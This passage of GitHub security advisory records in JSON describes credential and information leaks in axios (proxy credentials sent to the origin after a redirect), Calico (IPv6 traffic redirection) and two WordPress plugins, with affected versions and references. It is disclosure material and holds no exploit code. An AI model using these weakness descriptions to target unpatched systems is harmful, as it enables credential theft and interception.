redirect shapes.\n\n#### Client Conditions\n- the initial HTTP request uses an authenticated `HTTP_PROXY`\n- no proxy applies to the redirected HTTPS URL (for example, no `HTTPS_PROXY` is configured)\n- redirects are followed\n- the redirect is treated as same-host by the redirect layer\n\nUnder that redirect shape, the retained `Proxy-Authorization` header is not removed before the redirected request is sent to the final HTTPS origin.\n\n### Reproduction Outline\n\nDetailed reproduction instructions were shared with the maintainers during coordinated disclosure. The public outline below preserves the validated configuration and observable behavior needed to assess exposure, while omitting environment-specific test-harness details.\n\nThe issue was reproduced only in a researcher-controlled local test environment using dummy proxy credentials.\n\nThe issue was confirmed under the following conditions:\n\n- axios 1.13.6\n- follow-redirects 1.15.11\n- an authenticated proxy applying to the initial HTTP request\n- no proxy applying to the redirected HTTPS URL\n- redirects enabled\n- an HTTP-to-HTTPS redirect that is treated as same-host by the redirect layer\n\n#### Observed behavior\n\n- The initial HTTP request is sent through the proxy and includes `Proxy-Authorization`.\n- The redirected HTTPS request is sent directly to the final origin.\n- The redirected HTTPS request still includes the previously generated `Proxy-Authorization` header.\n- The final origin can receive a `Proxy-Authorization` header value that was intended only for the proxy.\n\n#### Expected behavior\n\nAxios should not send the `Proxy-Authorization` header on a redirected request that is no longer sent through a proxy.\n\n### Impact\n\nUnder the affected redirect and proxy configuration, the final HTTPS origin may receive a retained `Proxy-Authorization` header value that was intended only for the outbound proxy.\n\nIf that credential is valid and reusable, and the outbound proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy with the affected environment\u2019s proxy credential, subject to the credential\u2019s scope and the proxy\u2019s access controls.\n\u003c/details\u003e\n\n---",
  "id": "GHSA-p92q-9vqr-4j8v",
  "modified": "2026-06-12T19:24:47Z",
  "published": "2026-06-04T14:19:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-p92q-9vqr-4j8v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44487"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v0.32.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.16.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Axios: Proxy-Authorization Credential Leak to Origin Server Across HTTP-to-HTTPS Redirect in Axios Node.js HTTP Adapter"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-67931"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-201"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-08T10:15:52Z",
    "severity": "HIGH"
  },
  "details": "Insertion of Sensitive Information Into Sent Data vulnerability in AITpro BulletProof Security bulletproof-security allows Retrieve Embedded Sensitive Data.This issue affects BulletProof Security: from n/a through \u003c= 6.9.",
  "id": "GHSA-pf46-gqj7-27qr",
  "modified": "2026-01-20T15:33:10Z",
  "published": "2026-01-08T12:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67931"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/bulletproof-security/vulnerability/wordpress-bulletproof-security-plugin-6-9-sensitive-data-exposure-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://vdp.patchstack.com/database/Wordpress/Plugin/bulletproof-security/vulnerability/wordpress-bulletproof-security-plugin-6-9-sensitive-data-exposure-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/projectcalico/calico"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.14.0"
            },
            {
              "fixed": "3.14.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/projectcalico/calico"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.13.0"
            },
            {
              "fixed": "3.13.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/projectcalico/calico"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.12.0"
            },
            {
              "fixed": "3.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/projectcalico/calico"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.11.0"
            },
            {
              "fixed": "3.11.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/projectcalico/calico"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.10.0"
            },
            {
              "fixed": "3.10.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/projectcalico/calico"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.9.0"
            },
            {
              "fixed": "3.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/projectcalico/calico"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.8.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-13597"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-201"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-14T16:27:14Z",
    "nvd_published_at": "2020-06-03T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Clusters using Calico (version 3.14.0 and below), Calico Enterprise (version 2.8.2 and below), may be vulnerable to information disclosure if IPv6 is enabled but unused. A compromised pod with sufficient privilege is able to reconfigure the node\u2019s IPv6 interface due to the node accepting route advertisement by default, allowing the attacker to redirect full or partial network traffic from the node to the compromised pod.",
  "id": "GHSA-pf59-j7c2-rh6x",
  "modified": "2024-05-22T16:49:10Z",
  "published": "2022-02-15T01:57:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-13597"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubernetes/kubernetes/issues/91507"
    },
    {
      "type": "WEB",
      "url": "https://github.com/containernetworking/plugins/pull/484"
    },
    {
      "type": "WEB",
      "url": "https://github.com/containernetworking/plugins/commit/ad10b6fa91aacd720f1f9ab94341a97a82a24965"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/projectcalico/calico"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/forum/#!topic/kubernetes-security-announce/BMb_6ICCfp8"
    },
    {
      "type": "WEB",
      "url": "https://www.projectcalico.org/security-bulletins"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Exposure of Sensitive Information to an Unauthorized Actor and Insertion of Sensitive Information Into Sent Data in Calico"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-32538"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-201"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-25T17:17:07Z",
    "severity": "HIGH"
  },
  "details": "Insertion of Sensitive Information Into Sent Data vulnerability in Noor Alam SMTP Mailer smtp-mailer allows Retrieve Embedded Sensitive Data.This issue affects SMTP Mailer: from n/a through \u003c= 1.1.24.",
  "id": "GHSA-pg38-rrrw-whrq",
  "modified": "2026-03-25T21:30:35Z",
  "published": "2026-03-25T18:31:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32538"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/smtp-mailer/vulnerability/wordpress-smtp-mailer-plugin-1-1-24-sensitive-data-exposure-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}